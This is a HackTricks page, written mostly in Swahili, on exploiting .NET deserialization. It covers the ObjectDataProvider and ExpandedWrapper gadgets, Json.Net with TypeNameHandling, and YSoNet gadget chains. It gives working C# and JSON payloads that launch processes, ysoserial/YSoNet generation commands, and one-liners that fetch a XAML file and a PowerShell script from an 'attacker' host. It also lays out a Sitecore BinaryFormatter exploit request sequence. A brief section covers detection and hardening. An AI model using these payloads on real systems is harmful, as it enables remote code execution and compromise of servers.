Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Chapisho hili limetengwa kuelewa jinsi gadget ObjectDataProvider inavyotumika kupata RCE na jinsi maktaba za Serialization Json.Net na xmlSerializer zinavyoweza kutumiwa vibaya kwa gadget hiyo.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ndiyo, ni maelezo ya ajabu, hivyo tuangalie nini hasa darasa hili lina chenye kuvutia: Darasa hili huruhusu kuwrap object yoyote, kutumia MethodParameters ili kusanidi parameters yoyote, na kisha kutumia MethodName kuita function yoyote ya object hiyo iliyotajwa kwa kutumia parameters hizo.
Kwa hivyo, object yoyote ita tekeleza function yenye parameters wakati inapotengenezwa tena (deserialized).

Jinsi hili linawezekana

Namespace ya System.Windows.Data, iliyopo ndani ya PresentationFramework.dll katika C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ndiko ObjectDataProvider iliyoelezewa na kutekelezwa.

Using dnSpy unaweza kuchunguza msimbo wa darasa tunalolichunguza. Katika picha hapa chini tunaona msimbo wa PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Kama unavyoweza kuona, inapowekwa MethodName inaitwa base.Refresh(), hebu tuangalie inafanya nini:

Sawa, tuendelee kuona this.BeginQuery() inafanya nini. BeginQuery imeoverride na ObjectDataProvider na hivi ndivyo inavyofanya:

Kumbuka kwamba mwishoni mwa msimbo inaita this.QueryWorke(null). Hebu tazama hiyo inatekeleza nini:

Kumbuka kuwa hii si msimbo kamili wa function ya QueryWorker lakini inaonyesha sehemu inayovutia: Msimbo unaita this.InvokeMethodOnInstance(out ex); hii ndiyo mstari ambapo seti ya method inatekelezwa.

Ikiwa unataka kuthibitisha kuwa kwa tu kuweka MethodName itatekelezwa, unaweza kuendesha msimbo huu:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Kumbuka kwamba unahitaji kuongeza kama marejeo C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll ili kupakia System.Windows.Data

ExpandedWrapper

Kutumia exploit iliyotangulia kutakuwa na matukio ambapo object itakuwa deserialized as mfano wa ObjectDataProvider (kwa mfano katika DotNetNuke vuln, ukitumia XmlSerializer, object ilideserialize kwa kutumia GetType). Kisha, haitakuwa na maarifa ya aina ya object iliyofungwa katika mfano wa ObjectDataProvider (kwa mfano Process). You can find more information about the DotNetNuke vuln here.

Hii class inaruhusu kubainisha aina za object za vitu vinavyofungwa katika instance fulani. Kwa hivyo, class hii inaweza kutumika kufunga source object (ObjectDataProvider) ndani ya aina mpya ya object na kutoa properties tunazohitaji (ObjectDataProvider.MethodName na ObjectDataProvider.MethodParameters).
Hii ni muhimu sana kwa kesi kama ile iliyotangulia, kwa sababu tutaweza wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

Unaweza kuangalia wrapper hii kwa kutumia code ifuatayo:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Katika ukurasa rasmi imeonyeshwa kwamba maktaba hii inaruhusu Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Kwa hivyo, ikiwa tunaweza deserialize the ObjectDataProvider gadget, tunaweza kusababisha RCE kwa ku-deserialize tu object.

Json.Net example

Kwanza, tuchukulie mfano wa jinsi ya serialize/deserialize object kwa kutumia maktaba hii:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Kutumia vibaya Json.Net

Kutumia ysoserial.net niliunda exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Katika msimbo huu unaweza test the exploit, endesha tu na utaona kwamba calc inatekelezwa:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs unsafe .NET deserialization. Modern red-team tooling such as YSoNet (and the older ysoserial.net) automate the creation of ready-to-use malicious object graphs for dozens of gadgets and serialization formats.

Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateInaharibu rekodi ya DelegateSerializationHolder ili, mara inaporudiwa/kutanuliwa, delegate ianze kuelekeza kwa method yoyote iliyotolewa na mshambuliaji (mf. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorInatumia System.Workflow.ComponentModel.ActivitySurrogateSelector kuvuka type-filtering ya .NET ≥4.8 na kuwaita moja kwa moja constructor ya class iliyotolewa au kucompila faili ya C# kwa wakati mmojaBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourInategemea uwakilishi wa XML wa legacy wa System.Data.DataSet kuanzisha types zozote kwa kujaza katika sehemu za <ColumnMapping> / <DataType> (kwa hiari ikidanganya assembly kwa --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsKatika runtimes zinazounga mkono WPF (> .NET 5) inafuatilia getters za property mpaka kufikia System.CodeDom.Compiler.CompilerResults, kisha inaweka kucompile au inakamilisha DLL iliyotolewa kwa -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Inatumia WPF System.Windows.Data.ObjectDataProvider kuita method statiki yoyote kwa arguments zinazodhibitiwa. YSoNet inaongeza variant ya --xamlurl inayohost mali ya XAML mbaya kwa mbaliBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Inaweka ScriptBlock ndani ya System.Management.Automation.PSObject ambacho kinatekelezwa wakati PowerShell inafanya deserialize ya objectPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

All payloads are written to stdout by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).

Building / Installing YSoNet

If no pre-compiled binaries are available under Actions ➜ Artifacts / Releases, the following PowerShell one-liner will set up a build environment, clone the repository and compile everything in Release mode:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Iliyocompiled ysonet.exe inaweza kupatikana chini ya ysonet/bin/Release/.

Utambuzi na Kuimarisha Usalama

  • Gundua mchakato mdogo usiotarajiwa wa w3wp.exe, PowerShell.exe, au mchakato wowote unaofanya deserialising ya data iliyotolewa na mtumiaji (mfano MessagePack, Json.NET).
  • Weka na lazimisha kuchuja aina (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) kila wakati ambapo urithi wa BinaryFormatter / NetDataContractSerializer hauwezi kuondolewa.
  • Iwapo inawezekana, hamia kwa System.Text.Json au DataContractJsonSerializer kwa converters zinazotumia whitelist.
  • Zuia assemblies hatarishi za WPF (PresentationFramework, System.Workflow.*) zisipakwe katika mchakato za wavuti ambazo haziziitaji.

Sink ya ulimwengu halisi: Sitecore convertToRuntimeHtml → BinaryFormatter

Sink ya vitendo ya .NET inayoweza kufikiwa katika mtiririko ya Sitecore XP Content Editor yaliyothibitishwa:

  • Sink API: Sitecore.Convert.Base64ToObject(string) inaitumia new BinaryFormatter().Deserialize(...).
  • Njia ya kuchochea: pipeline convertToRuntimeHtmlConvertWebControls, ambayo inatafuta kipengele jirani lenye id="{iframeId}_inner" na kusoma sifa ya value ambayo inachukuliwa kama data iliyoserialiwa iliyoencodewa kwa base64. Matokeo yanageuzwa kuwa string na yaingizwa ndani ya HTML.

Mfupi kutoka mwanzo hadi mwisho (iliyothibitishwa):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: yoyote BinaryFormatter chain inayorejesha string (side‑effects zinaendeshwa wakati wa deserialization). Angalia YSoNet/ysoserial.net ili kutengeneza payloads.

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

Sitecore

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks